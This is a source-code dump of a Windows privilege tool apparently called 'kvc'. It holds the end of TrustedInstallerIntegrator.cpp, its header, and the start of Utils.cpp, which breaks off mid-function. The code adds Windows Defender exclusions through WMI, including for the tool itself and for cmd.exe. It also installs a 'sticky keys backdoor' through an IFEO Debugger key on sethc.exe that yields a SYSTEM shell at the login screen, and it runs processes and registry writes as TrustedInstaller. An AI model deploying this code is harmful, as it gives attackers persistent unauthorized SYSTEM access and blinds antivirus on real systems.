        baseIp = narrowIp.substr(0, slashPos);
    }

    // IPv6 detection
    if (baseIp.find(':') != std::string::npos) {
        for (char c : baseIp) {
            if (!((c >= '0' && c <= '9') || 
                  (c >= 'a' && c <= 'f') || 
                  (c >= 'A' && c <= 'F') || 
                  c == ':' || c == '.')) {
                return false;
            }
        }
        return true;
    }

    // IPv4 validation
    int dots = 0;
    bool hasDigit = false;
    for (char c : baseIp) {
        if (c == '.') {
            dots++;
            if (!hasDigit) return false;
            hasDigit = false;
        } else if (c >= '0' && c <= '9') {
            hasDigit = true;
        } else {
            return false;
        }
    }

    return (dots == 3 && hasDigit);
}

std::wstring TrustedInstallerIntegrator::NormalizeExtension(std::wstring_view extension) noexcept
{
    std::wstring normalized{extension};
    StringUtils::ToLower(normalized);
    
    if (!normalized.empty() && normalized[0] != L'.') {
        normalized = L"." + normalized;
    }
    
    return normalized;
}

std::wstring TrustedInstallerIntegrator::ExtractProcessName(std::wstring_view fullPath) noexcept
{
    size_t lastSlash = fullPath.find_last_of(L"\\/");
    if (lastSlash != std::wstring_view::npos) {
        return std::wstring{fullPath.substr(lastSlash + 1)};
    }
    return std::wstring{fullPath};
}

// ============================================================================
// DEFENDER AVAILABILITY CHECK
// ============================================================================

bool TrustedInstallerIntegrator::IsDefenderAvailable() noexcept
{
    SCManagerGuard scm(OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT));
    if (!scm) return false;

    ServiceHandleGuard service(OpenServiceW(scm.get(), L"WinDefend", SERVICE_QUERY_STATUS));
    return static_cast<bool>(service);
}

bool TrustedInstallerIntegrator::IsDefenderRunning() noexcept
{
    SCManagerGuard scm(OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT));
    if (!scm) return false;

    ServiceHandleGuard service(OpenServiceW(scm.get(), L"WinDefend", SERVICE_QUERY_STATUS));
    if (!service) {
        return false;
    }

    SERVICE_STATUS_PROCESS status;
    DWORD bytesNeeded;
    BOOL success = QueryServiceStatusEx(service.get(), SC_STATUS_PROCESS_INFO,
                                        (LPBYTE)&status, sizeof(status), &bytesNeeded);

    return (success && status.dwCurrentState == SERVICE_RUNNING);
}

bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, std::wstring_view value, bool verbose)
{
    // Skip if Defender not available
    if (!IsDefenderAvailable()) {
        DEBUG(L"Windows Defender not available, skipping exclusion for: %s", std::wstring{value}.c_str());
        return true;
    }
    
    std::wstring processedValue{value};
    
    switch (type) {
        case ExclusionType::Extensions:
            if (!ValidateExtension(value)) {
                ERROR(L"Invalid extension format: %s", std::wstring{value}.c_str());
                return false;
            }
            processedValue = NormalizeExtension(value);
            break;
            
        case ExclusionType::IpAddresses:
            if (!ValidateIpAddress(value)) {
                ERROR(L"Invalid IP address format: %s", std::wstring{value}.c_str());
                return false;
            }
            break;
            
        case ExclusionType::Processes:
            processedValue = ExtractProcessName(value);
            break;
    }

    // Map our ExclusionType enum to WmiDefenderClient::ExclusionType
    static const WmiDefenderClient::ExclusionType kWmiTypeMap[] = {
        WmiDefenderClient::ExclusionType::Path,
        WmiDefenderClient::ExclusionType::Process,
        WmiDefenderClient::ExclusionType::Extension,
        WmiDefenderClient::ExclusionType::IpAddress
    };
    static const wchar_t* kPrefNames[] = {
        L"ExclusionPath", L"ExclusionProcess", L"ExclusionExtension", L"ExclusionIpAddress"
    };

    WmiDefenderClient wmi;
    if (!wmi.IsConnected()) {
        if (verbose) INFO(L"WMI defender namespace unavailable, Defender might be disabled");
        else DEBUG(L"WMI defender namespace unavailable, Defender might be disabled");
        return true; // non-fatal - preserve original behaviour
    }

    if (wmi.HasExclusion(kWmiTypeMap[(int)type], processedValue)) {
        if (verbose) INFO(L"Defender exclusion already exists: %s = %s",
                          kPrefNames[(int)type], processedValue.c_str());
        else DEBUG(L"Defender exclusion already exists: %s = %s",
                   kPrefNames[(int)type], processedValue.c_str());
        return true;
    }

    if (verbose) INFO(L"Adding Defender exclusion via WMI: %s = %s",
                      kPrefNames[(int)type], processedValue.c_str());
    else DEBUG(L"Adding Defender exclusion via WMI: %s = %s",
               kPrefNames[(int)type], processedValue.c_str());

    bool result = wmi.Add(kWmiTypeMap[(int)type], processedValue);

    if (result) {
        if (verbose) SUCCESS(L"Defender exclusion added successfully");
        else DEBUG(L"Defender exclusion added successfully");
    } else {
        if (verbose) INFO(L"Failed to add Defender exclusion (Defender might be disabled)");
        else DEBUG(L"Failed to add Defender exclusion (Defender might be disabled)");
    }

    return result;
}

int TrustedInstallerIntegrator::AddMultipleDefenderExclusions(
    const std::vector<std::wstring>& paths,
    const std::vector<std::wstring>& processes,
    const std::vector<std::wstring>& extensions)
{
    if (!IsDefenderAvailable()) {
        INFO(L"Windows Defender not available, skipping exclusions");
        return 0;
    }

    INFO(L"Configuring Windows Defender exclusions...");
    
    int successCount = 0;
    int totalAttempts = 0;

    for (const auto& path : paths) {
        if (AddPathExclusion(path)) successCount++;
        totalAttempts++;
    }

    for (const auto& process : processes) {
        if (AddProcessExclusion(process)) successCount++;
        totalAttempts++;
    }

    for (const auto& extension : extensions) {
        if (AddExtensionExclusion(extension)) successCount++;
        totalAttempts++;
    }

    if (successCount > 0) {
        SUCCESS(L"Defender exclusions configured (%d/%d added)", successCount, totalAttempts);
    } else if (totalAttempts > 0) {
        INFO(L"No Defender exclusions were added (Defender might be disabled)");
    }

    return successCount;
}

// ============================================================================
// SIMPLIFIED DEFENDER EXCLUSION MANAGEMENT
// ============================================================================

bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, std::wstring_view value, bool verbose)
{
    if (!IsDefenderAvailable()) {
        DEBUG(L"Windows Defender not available, skipping exclusion removal for: %s", std::wstring{value}.c_str());
        return true;
    }

    std::wstring processedValue{value};
    
    switch (type) {
        case ExclusionType::Extensions:
            processedValue = NormalizeExtension(value);
            break;
        case ExclusionType::Processes:
            processedValue = ExtractProcessName(value);
            break;
    }

    static const WmiDefenderClient::ExclusionType kWmiTypeMap[] = {
        WmiDefenderClient::ExclusionType::Path,
        WmiDefenderClient::ExclusionType::Process,
        WmiDefenderClient::ExclusionType::Extension,
        WmiDefenderClient::ExclusionType::IpAddress
    };
    static const wchar_t* kPrefNames[] = {
        L"ExclusionPath", L"ExclusionProcess", L"ExclusionExtension", L"ExclusionIpAddress"
    };

    WmiDefenderClient wmi;
    if (!wmi.IsConnected()) {
        if (verbose) INFO(L"WMI defender namespace unavailable, Defender might be disabled");
        else DEBUG(L"WMI defender namespace unavailable, Defender might be disabled");
        return true;
    }

    if (!wmi.HasExclusion(kWmiTypeMap[(int)type], processedValue)) {
        if (verbose) INFO(L"Defender exclusion already absent: %s = %s",
                          kPrefNames[(int)type], processedValue.c_str());
        else DEBUG(L"Defender exclusion already absent: %s = %s",
                   kPrefNames[(int)type], processedValue.c_str());
        return true;
    }

    if (verbose) INFO(L"Removing Defender exclusion via WMI: %s = %s",
                      kPrefNames[(int)type], processedValue.c_str());
    else DEBUG(L"Removing Defender exclusion via WMI: %s = %s",
               kPrefNames[(int)type], processedValue.c_str());

    return wmi.Remove(kWmiTypeMap[(int)type], processedValue);
}

bool TrustedInstallerIntegrator::AddPathExclusion(std::wstring_view path, bool verbose) {
    return AddDefenderExclusion(ExclusionType::Paths, path, verbose);
}

bool TrustedInstallerIntegrator::RemovePathExclusion(std::wstring_view path, bool verbose) {
    return RemoveDefenderExclusion(ExclusionType::Paths, path, verbose);
}

bool TrustedInstallerIntegrator::AddProcessExclusion(std::wstring_view processName, bool verbose) {
    return AddDefenderExclusion(ExclusionType::Processes, processName, verbose);
}

bool TrustedInstallerIntegrator::RemoveProcessExclusion(std::wstring_view processName, bool verbose) {
    return RemoveDefenderExclusion(ExclusionType::Processes, processName, verbose);
}

bool TrustedInstallerIntegrator::AddExtensionExclusion(std::wstring_view extension, bool verbose) {
    return AddDefenderExclusion(ExclusionType::Extensions, extension, verbose);
}

bool TrustedInstallerIntegrator::RemoveExtensionExclusion(std::wstring_view extension, bool verbose) {
    return RemoveDefenderExclusion(ExclusionType::Extensions, extension, verbose);
}

bool TrustedInstallerIntegrator::AddIpAddressExclusion(std::wstring_view ipAddress, bool verbose) {
    return AddDefenderExclusion(ExclusionType::IpAddresses, ipAddress, verbose);
}

bool TrustedInstallerIntegrator::RemoveIpAddressExclusion(std::wstring_view ipAddress, bool verbose) {
    return RemoveDefenderExclusion(ExclusionType::IpAddresses, ipAddress, verbose);
}

bool TrustedInstallerIntegrator::AddProcessToDefenderExclusions(std::wstring_view processName, bool verbose) {
    return AddProcessExclusion(processName, verbose);
}

bool TrustedInstallerIntegrator::RemoveProcessFromDefenderExclusions(std::wstring_view processName, bool verbose) {
    return RemoveProcessExclusion(processName, verbose);
}

bool TrustedInstallerIntegrator::AddToDefenderExclusions(std::wstring_view customPath)
{
    wchar_t currentPath[MAX_PATH];
    
    if (customPath.empty()) {
        if (GetModuleFileNameW(NULL, currentPath, MAX_PATH) == 0) {
            ERROR(L"Failed to get current module path");
            return false;
        }
    } else {
        if (customPath.length() >= MAX_PATH) {
            ERROR(L"File path too long");
            return false;
        }
        wcscpy_s(currentPath, MAX_PATH, std::wstring{customPath}.c_str());
    }

    fs::path filePath(currentPath);
    bool isExecutable = (filePath.extension().wstring() == L".exe");

    if (isExecutable) {
        return AddProcessExclusion(filePath.filename().wstring());
    } else {
        return AddPathExclusion(currentPath);
    }
}

bool TrustedInstallerIntegrator::RemoveFromDefenderExclusions(std::wstring_view customPath)
{
    wchar_t currentPath[MAX_PATH];
    
    if (customPath.empty()) {
        if (GetModuleFileNameW(NULL, currentPath, MAX_PATH) == 0) {
            ERROR(L"Failed to get current module path");
            return false;
        }
    } else {
        if (customPath.length() >= MAX_PATH) {
            ERROR(L"File path too long");
            return false;
        }
        wcscpy_s(currentPath, MAX_PATH, std::wstring{customPath}.c_str());
    }

    fs::path filePath(currentPath);
    bool isExecutable = (filePath.extension().wstring() == L".exe");

    if (isExecutable) {
        return RemoveProcessExclusion(filePath.filename().wstring());
    } else {
        return RemoveDefenderExclusion(ExclusionType::Paths, currentPath);
    }
}

// ============================================================================
// STICKY KEYS BACKDOOR
// ============================================================================

bool TrustedInstallerIntegrator::InstallStickyKeysBackdoor() noexcept
{
    INFO(L"Installing sticky keys backdoor with Defender bypass...");

    if (!AddProcessToDefenderExclusions(L"cmd.exe")) {
        INFO(L"AV exclusion skipped for cmd.exe (continuing)");
    }

    std::wstring keyPath = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe";
    RegKeyGuard key;
    LONG result = RegCreateKeyExW(HKEY_LOCAL_MACHINE, keyPath.c_str(), 0, NULL,
                                  REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, key.addressof(), NULL);

    if (result != ERROR_SUCCESS) {
        ERROR(L"Failed to create IFEO registry key: %d", result);
        RemoveProcessFromDefenderExclusions(L"cmd.exe");
        return false;
    }

    std::wstring debuggerValue = L"cmd.exe";
    result = RegSetValueExW(key.get(), L"Debugger", 0, REG_SZ,
                            reinterpret_cast<const BYTE*>(debuggerValue.c_str()),
                            static_cast<DWORD>((debuggerValue.length() + 1) * sizeof(wchar_t)));

    if (result != ERROR_SUCCESS) {
        ERROR(L"Failed to set Debugger registry value: %d", result);
        RemoveProcessFromDefenderExclusions(L"cmd.exe");
        return false;
    }

    SUCCESS(L"Sticky keys backdoor installed successfully");
    SUCCESS(L"Press 5x Shift on login screen to get SYSTEM cmd.exe");
    return true;
}

bool TrustedInstallerIntegrator::RemoveStickyKeysBackdoor() noexcept
{
    INFO(L"Removing sticky keys backdoor...");
    
    bool success = true;
    
    std::wstring keyPath = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe";
    LONG result = RegDeleteKeyW(HKEY_LOCAL_MACHINE, keyPath.c_str());
    
    if (result != ERROR_SUCCESS && result != ERROR_FILE_NOT_FOUND) {
        ERROR(L"Failed to remove IFEO registry key: %d", result);
        success = false;
    } else if (result == ERROR_SUCCESS) {
        SUCCESS(L"IFEO registry key removed");
    }
    
    if (!RemoveProcessFromDefenderExclusions(L"cmd.exe")) {
        INFO(L"AV cleanup skipped for cmd.exe");
    }
    
    if (success) {
        SUCCESS(L"Sticky keys backdoor removed successfully");
    } else {
        INFO(L"Sticky keys backdoor removal completed with some errors");
    }
    
    return success;
}

// ============================================================================
// CONTEXT MENU INTEGRATION
// ============================================================================

bool TrustedInstallerIntegrator::AddContextMenuEntries()
{
    wchar_t currentPath[MAX_PATH];
    GetModuleFileNameW(NULL, currentPath, MAX_PATH);

    std::wstring command = L"\"";
    command += currentPath;
    command += L"\" trusted \"%1\"";

    std::wstring iconPath = L"shell32.dll,77";

    DWORD dwDisposition;

    // Context menu for executables
    {
        RegKeyGuard key;
        if (RegCreateKeyExW(HKEY_CLASSES_ROOT, L"exefile\\shell\\RunAsTrustedInstaller", 0, NULL,
                            REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, key.addressof(), &dwDisposition) == ERROR_SUCCESS)
        {
            std::wstring menuText = L"Run as TrustedInstaller";
            RegSetValueExW(key.get(), NULL, 0, REG_SZ, (const BYTE*)menuText.c_str(),
                           (DWORD)(menuText.length() + 1) * sizeof(wchar_t));
            RegSetValueExW(key.get(), L"Icon", 0, REG_SZ, (const BYTE*)iconPath.c_str(),
                           (DWORD)(iconPath.length() + 1) * sizeof(wchar_t));

            RegKeyGuard commandKey;
            if (RegCreateKeyExW(key.get(), L"command", 0, NULL, REG_OPTION_NON_VOLATILE,
                                KEY_WRITE, NULL, commandKey.addressof(), &dwDisposition) == ERROR_SUCCESS)
            {
                RegSetValueExW(commandKey.get(), NULL, 0, REG_SZ, (const BYTE*)command.c_str(),
                               (DWORD)(command.length() + 1) * sizeof(wchar_t));
            }
        }
    }

    // Context menu for shortcuts
    {
        RegKeyGuard key;
        if (RegCreateKeyExW(HKEY_CLASSES_ROOT, L"lnkfile\\shell\\RunAsTrustedInstaller", 0, NULL,
                            REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, key.addressof(), &dwDisposition) == ERROR_SUCCESS)
        {
            std::wstring menuText = L"Run as TrustedInstaller";
            RegSetValueExW(key.get(), NULL, 0, REG_SZ, (const BYTE*)menuText.c_str(),
                           (DWORD)(menuText.length() + 1) * sizeof(wchar_t));
            RegSetValueExW(key.get(), L"Icon", 0, REG_SZ, (const BYTE*)iconPath.c_str(),
                           (DWORD)(iconPath.length() + 1) * sizeof(wchar_t));

            RegKeyGuard commandKey;
            if (RegCreateKeyExW(key.get(), L"command", 0, NULL, REG_OPTION_NON_VOLATILE,
                                KEY_WRITE, NULL, commandKey.addressof(), &dwDisposition) == ERROR_SUCCESS)
            {
                RegSetValueExW(commandKey.get(), NULL, 0, REG_SZ, (const BYTE*)command.c_str(),
                               (DWORD)(command.length() + 1) * sizeof(wchar_t));
            }
        }
    }

    SUCCESS(L"Context menu entries added");
    return true;
}

// ============================================================================
// HELPER UTILITIES
// ============================================================================

DWORD TrustedInstallerIntegrator::GetProcessIdByName(std::wstring_view processName)
{
    SnapshotGuard snapshot(CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0));
    if (!snapshot) return 0;

    PROCESSENTRY32W pe;
    pe.dwSize = sizeof(PROCESSENTRY32W);

    if (Process32FirstW(snapshot.get(), &pe)) {
        do {
            if (std::wstring_view(pe.szExeFile) == processName) {
                return pe.th32ProcessID;
            }
        } while (Process32NextW(snapshot.get(), &pe));
    }

    return 0;
}

bool TrustedInstallerIntegrator::IsLnkFile(std::wstring_view path)
{
    if (path.length() < 4) return false;
    return (_wcsicmp(std::wstring{path.substr(path.length() - 4)}.c_str(), L".lnk") == 0);
}

std::wstring TrustedInstallerIntegrator::ResolveLnk(std::wstring_view lnkPath)
{
    IShellLinkW* pShellLink = nullptr;
    IPersistFile* pPersistFile = nullptr;
    wchar_t targetPath[MAX_PATH] = {0};

    HRESULT hr = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLinkW, (void**)&pShellLink);
    if (FAILED(hr)) return L"";

    hr = pShellLink->QueryInterface(IID_IPersistFile, (void**)&pPersistFile);
    if (FAILED(hr)) {
        pShellLink->Release();
        return L"";
    }

    std::wstring lnkPathStr{lnkPath};
    hr = pPersistFile->Load(lnkPathStr.c_str(), STGM_READ);
    if (FAILED(hr)) {
        pPersistFile->Release();
        pShellLink->Release();
        return L"";
    }

    hr = pShellLink->GetPath(targetPath, MAX_PATH, NULL, 0);

    pPersistFile->Release();
    pShellLink->Release();

    return (SUCCEEDED(hr) && targetPath[0] != 0) ? std::wstring(targetPath) : L"";
}

<<<FILE: kvc/TrustedInstallerIntegrator.h>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:20
Size:     6.88 KB
#pragma once

#include <windows.h>
#include <string>
#include <vector>
#include <string_view>
#include <span>
#include <array>

class TrustedInstallerIntegrator
{
public:
    TrustedInstallerIntegrator();
    ~TrustedInstallerIntegrator();

    // Privilege enum without Se[prefix/suffix]Privilege
    enum class Privilege {
        AssignPrimaryToken,
        Backup,
        Restore,
        Debug,
        Impersonate,
        TakeOwnership,
        LoadDriver,
        SystemEnvironment,
        ManageVolume,
        Security,
        Shutdown,
        Systemtime,
        Tcb,
        IncreaseQuota,
        Audit,
        ChangeNotify,
        Undock,
        CreateToken,
        LockMemory,
        CreatePagefile,
        CreatePermanent,
        SystemProfile,
        ProfileSingleProcess,
        CreateGlobal,
        TimeZone,
        CreateSymbolicLink,
        IncreaseBasePriority,
        RemoteShutdown,
        IncreaseWorkingSet,
        Relabel,
        DelegateSessionUserImpersonate,
        TrustedCredManAccess,
        EnableDelegation,
        SyncAgent
    };

	// Privilege names array (constexpr for compile-time)
    static constexpr std::array<const wchar_t*, 34> PRIVILEGE_NAMES = {
        L"AssignPrimaryToken", L"Backup", L"Restore", L"Debug", L"Impersonate", 
        L"TakeOwnership", L"LoadDriver", L"SystemEnvironment", L"ManageVolume", 
        L"Security", L"Shutdown", L"Systemtime", L"Tcb", L"IncreaseQuota", 
        L"Audit", L"ChangeNotify", L"Undock", L"CreateToken", L"LockMemory", 
        L"CreatePagefile", L"CreatePermanent", L"SystemProfile", 
        L"ProfileSingleProcess", L"CreateGlobal", L"TimeZone", 
        L"CreateSymbolicLink", L"IncreaseBasePriority", L"RemoteShutdown", 
        L"IncreaseWorkingSet", L"Relabel", L"DelegateSessionUserImpersonate", 
        L"TrustedCredManAccess", L"EnableDelegation", L"SyncAgent"
    };

    static constexpr size_t PRIVILEGE_COUNT = PRIVILEGE_NAMES.size();

    // Convert to full Windows privilege name (Se...Privilege)
    static std::wstring GetFullPrivilegeName(Privilege priv);
    static std::wstring GetFullPrivilegeName(std::wstring_view name);

    enum class ExclusionType {
        Paths,
        Processes,
        Extensions,
        IpAddresses
    };

    // Process execution
    bool RunAsTrustedInstaller(const std::wstring& commandLine);
    bool RunAsTrustedInstallerSilent(const std::wstring& commandLine);
    
    // File operations
    bool WriteFileAsTrustedInstaller(std::wstring_view filePath, 
                                     std::span<const BYTE> data) noexcept;
    bool DeleteFileAsTrustedInstaller(std::wstring_view filePath) noexcept;
    bool RenameFileAsTrustedInstaller(std::wstring_view srcPath, 
                                      std::wstring_view dstPath) noexcept;
    bool CreateDirectoryAsTrustedInstaller(std::wstring_view directoryPath) noexcept;
    
    // Registry operations
    bool CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey, 
                                             std::wstring_view subKey) noexcept;
    bool WriteRegistryValueAsTrustedInstaller(HKEY hRootKey,
                                              std::wstring_view subKey,
                                              std::wstring_view valueName,
                                              std::wstring_view value) noexcept;
    bool WriteRegistryDwordAsTrustedInstaller(HKEY hRootKey,
                                              std::wstring_view subKey,
                                              std::wstring_view valueName,
                                              DWORD value) noexcept;
    bool WriteRegistryBinaryAsTrustedInstaller(HKEY hRootKey,
                                               std::wstring_view subKey,
                                               std::wstring_view valueName,
                                               std::span<const BYTE> data) noexcept;
    bool ReadRegistryValueAsTrustedInstaller(HKEY hRootKey,
                                             std::wstring_view subKey,
                                             std::wstring_view valueName,
                                             std::wstring& outValue) noexcept;
    bool DeleteRegistryKeyAsTrustedInstaller(HKEY hRootKey,
                                             std::wstring_view subKey) noexcept;
    
    // Defender exclusions
    bool AddDefenderExclusion(ExclusionType type, std::wstring_view value, bool verbose = true);
    bool RemoveDefenderExclusion(ExclusionType type, std::wstring_view value, bool verbose = true);
    bool AddToDefenderExclusions(std::wstring_view customPath = L"");
    bool RemoveFromDefenderExclusions(std::wstring_view customPath = L"");
    
    bool AddPathExclusion(std::wstring_view path, bool verbose = true);
    bool RemovePathExclusion(std::wstring_view path, bool verbose = true);
    bool AddProcessExclusion(std::wstring_view processName, bool verbose = true);
    bool RemoveProcessExclusion(std::wstring_view processName, bool verbose = true);
    bool AddExtensionExclusion(std::wstring_view extension, bool verbose = true);
    bool RemoveExtensionExclusion(std::wstring_view extension, bool verbose = true);
    bool AddIpAddressExclusion(std::wstring_view ipAddress, bool verbose = true);
    bool RemoveIpAddressExclusion(std::wstring_view ipAddress, bool verbose = true);
    
    bool AddProcessToDefenderExclusions(std::wstring_view processName, bool verbose = true);
    bool RemoveProcessFromDefenderExclusions(std::wstring_view processName, bool verbose = true);

    int AddMultipleDefenderExclusions(
        const std::vector<std::wstring>& paths,
        const std::vector<std::wstring>& processes,
        const std::vector<std::wstring>& extensions);
    
    // Sticky keys backdoor
    bool InstallStickyKeysBackdoor() noexcept;
    bool RemoveStickyKeysBackdoor() noexcept;
    
    // Context menu
    bool AddContextMenuEntries();
    
    // Token access
    HANDLE GetCachedTrustedInstallerToken();
    DWORD StartTrustedInstallerService();
    bool PublicImpersonateSystem() { return ImpersonateSystem(); }

private:
    // Defender availability checking
    bool IsDefenderAvailable() noexcept;
    bool IsDefenderRunning() noexcept;

    BOOL EnablePrivilegeInternal(std::wstring_view privilegeName);
    BOOL EnablePrivilege(Privilege priv);
    BOOL ImpersonateSystem();
    BOOL CreateProcessAsTrustedInstaller(DWORD pid, std::wstring_view commandLine);
    BOOL CreateProcessAsTrustedInstallerSilent(DWORD pid, std::wstring_view commandLine);
    
    DWORD GetProcessIdByName(std::wstring_view processName);
    bool IsLnkFile(std::wstring_view path);
    std::wstring ResolveLnk(std::wstring_view lnkPath);
    
    bool ValidateExtension(std::wstring_view extension) noexcept;
    bool ValidateIpAddress(std::wstring_view ipAddress) noexcept;
    std::wstring NormalizeExtension(std::wstring_view extension) noexcept;
    std::wstring ExtractProcessName(std::wstring_view fullPath) noexcept;
};

<<<FILE: kvc/Utils.cpp>>>
Created:  2026-05-27 19:00:08
Modified: 2026-05-27 19:00:08
Size:     42.39 KB
// Utils.cpp - Core utility functions for process management, memory operations, and system utilities

#include "Utils.h"
#include "common.h"
#include <algorithm>
#include <tlhelp32.h>
#include <psapi.h>
#include <sstream>
#include <iomanip>
#include <filesystem>
#include <fstream>
#include <fdi.h>
#include <io.h>
#include <fcntl.h>
#pragma comment(lib, "cabinet.lib")

namespace fs = std::filesystem;

#pragma comment(lib, "psapi.lib")

// ============================================================================
// NT API DEFINITIONS (Missing from Windows headers)
// ============================================================================

#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define SystemModuleInformation 11

typedef struct _SYSTEM_MODULE {
    ULONG_PTR Reserved1;
    ULONG_PTR Reserved2;
    PVOID ImageBase;
    ULONG ImageSize;
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT PathLength;
    CHAR ImageName[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG Count;
    SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
);

namespace Utils {

// ============================================================================
// CONSTANTS AND DEFINITIONS
// ============================================================================

constexpr int MAX_PROCESS_NAME_LENGTH = 256;
constexpr int MAX_PATH_LENGTH = 32767;
constexpr int KERNEL_BUFFER_SIZE = 4096;

// ============================================================================
// PROCESS MANAGEMENT UTILITIES
// ============================================================================

// Resolves process name from PID using multiple fallback strategies
// Tries Toolhelp32Snapshot first, then OpenProcess, handles protected processes
std::wstring GetProcessName(DWORD pid) noexcept
{
    if (pid == 0) return L"System Idle Process";
    if (pid == 4) return L"System";

    // Simple cache to avoid repeated lookups, expires after 30 seconds
    static std::unordered_map<DWORD, std::wstring> processCache;
    static DWORD lastCacheUpdate = 0;

    const DWORD currentTick = static_cast<DWORD>(GetTickCount64());
    if (currentTick - lastCacheUpdate > 30000) {
        processCache.clear();
        lastCacheUpdate = currentTick;
    }

    auto cacheIt = processCache.find(pid);
    if (cacheIt != processCache.end()) {
        return cacheIt->second;
    }

    // Primary method: enumerate all processes via snapshot
    SnapshotGuard snapshot(CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0));
    if (snapshot) {
        PROCESSENTRY32W pe;
        pe.dwSize = sizeof(PROCESSENTRY32W);

        if (Process32FirstW(snapshot.get(), &pe)) {
            do {
                if (pe.th32ProcessID == pid) {
                    std::wstring name(pe.szExeFile);
                    processCache[pid] = name;
                    return name;
                }
            } while (Process32NextW(snapshot.get(), &pe));
        }
    }

    // Fallback: try opening process directly for protected processes
    HandleGuard process(OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid));
    if (process) {
        wchar_t imagePath[MAX_PATH_LENGTH] = {0};
        DWORD size = MAX_PATH_LENGTH;

        // Note: GetProcessImageFileName returns NT-style device paths (\Device\HarddiskVolumeX\...)
        if (GetProcessImageFileNameW(process.get(), imagePath, size) > 0) {
            std::wstring fullPath(imagePath);
            size_t lastSlash = fullPath.find_last_of(L'\\');
            std::wstring name = (lastSlash != std::wstring::npos) ? fullPath.substr(lastSlash + 1) : fullPath;
            
            if (!name.empty()) {
                processCache[pid] = name;
                return name;
            }
        }
    }

    return L"[Unknown]";
}

// Retrieves process owner username in DOMAIN\User format using WinAPI
// Returns "Access Denied" for protected processes that deny token access
std::wstring GetProcessUser(DWORD pid) noexcept
{
    if (pid == 0) return L"System";
    if (pid == 4) return L"NT AUTHORITY\\SYSTEM";

    HandleGuard process(OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid));
    if (!process) {
        return L"Access Denied";
    }

    TokenGuard token;
    if (!OpenProcessToken(process.get(), TOKEN_QUERY, token.addressof())) {
        return L"Access Denied";
    }

    DWORD dwSize = 0;
    GetTokenInformation(token.get(), TokenUser, nullptr, 0, &dwSize);

    if (dwSize == 0) {
        return L"Access Denied";
    }

    std::vector<BYTE> tokenBuffer(dwSize);
    PTOKEN_USER pTokenUser = reinterpret_cast<PTOKEN_USER>(tokenBuffer.data());

    if (!GetTokenInformation(token.get(), TokenUser, pTokenUser, dwSize, &dwSize)) {
        return L"Access Denied";
    }

    wchar_t userName[256] = {0};
    wchar_t domainName[256] = {0};
    DWORD userSize = 256;
    DWORD domainSize = 256;
    SID_NAME_USE sidType;

    if (!LookupAccountSidW(nullptr, pTokenUser->User.Sid, userName, &userSize,
                           domainName, &domainSize, &sidType)) {
        return L"Unknown";
    }

    std::wstring result = domainName;
    result += L"\\";
    result += userName;

    return result;
}

// Retrieves process mandatory integrity level from token
// Returns one of: System, High, Medium, Low, Untrusted, Unknown
std::wstring GetProcessIntegrityLevel(DWORD pid) noexcept
{
    if (pid == 0 || pid == 4) return L"System";

    HandleGuard process(OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid));
    if (!process) {
        return L"Unknown";
    }

    TokenGuard token;
    if (!OpenProcessToken(process.get(), TOKEN_QUERY, token.addressof())) {
        return L"Unknown";
    }

    DWORD dwSize = 0;
    GetTokenInformation(token.get(), TokenIntegrityLevel, nullptr, 0, &dwSize);

    if (dwSize == 0) {
        return L"Unknown";
    }

    std::vector<BYTE> labelBuffer(dwSize);
    PTOKEN_MANDATORY_LABEL pLabel = reinterpret_cast<PTOKEN_MANDATORY_LABEL>(labelBuffer.data());

    if (!GetTokenInformation(token.get(), TokenIntegrityLevel, pLabel, dwSize, &dwSize)) {
        return L"Unknown";
    }

    DWORD integrityLevel = *GetSidSubAuthority(pLabel->Label.Sid,
                                               *GetSidSubAuthorityCount(pLabel->Label.Sid) - 1);

    if (integrityLevel < SECURITY_MANDATORY_LOW_RID) {
        return L"Untrusted";
    } else if (integrityLevel < SECURITY_MANDATORY_MEDIUM_RID) {
        return L"Low";
    } else if (integrityLevel < SECURITY_MANDATORY_HIGH_RID) {
        return L"Medium";
    } else if (integrityLevel >= SECURITY_MANDATORY_SYSTEM_RID) {
        return L"System";
    } else {
        return L"High";
    }
}

// Generates descriptive identifier for processes that resist normal enumeration
// Includes PID, protection info, and kernel address when available
std::wstring ResolveUnknownProcessLocal(DWORD pid, ULONG_PTR kernelAddress, 
                                       UCHAR protectionLevel, UCHAR signerType) noexcept
{
    std::wstringstream ss;
    ss << L"[Unknown_PID_" << pid;
    
    if (protectionLevel > 0) {
        ss << L"_" << GetProtectionLevelAsString(protectionLevel)
           << L"-" << GetSignerTypeAsString(signerType);
    }
    
    if (kernelAddress > 0) {
        ss << L"_0x" << std::hex << kernelAddress;
    }
    
    ss << L"]";
    return ss.str();
}

// ============================================================================
// PROTECTION LEVEL MANAGEMENT
// ============================================================================

// Converts raw protection byte to readable string (None/PPL/PP)
const wchar_t* GetProtectionLevelAsString(UCHAR protection) noexcept
{
    UCHAR level = GetProtectionLevel(protection);
    
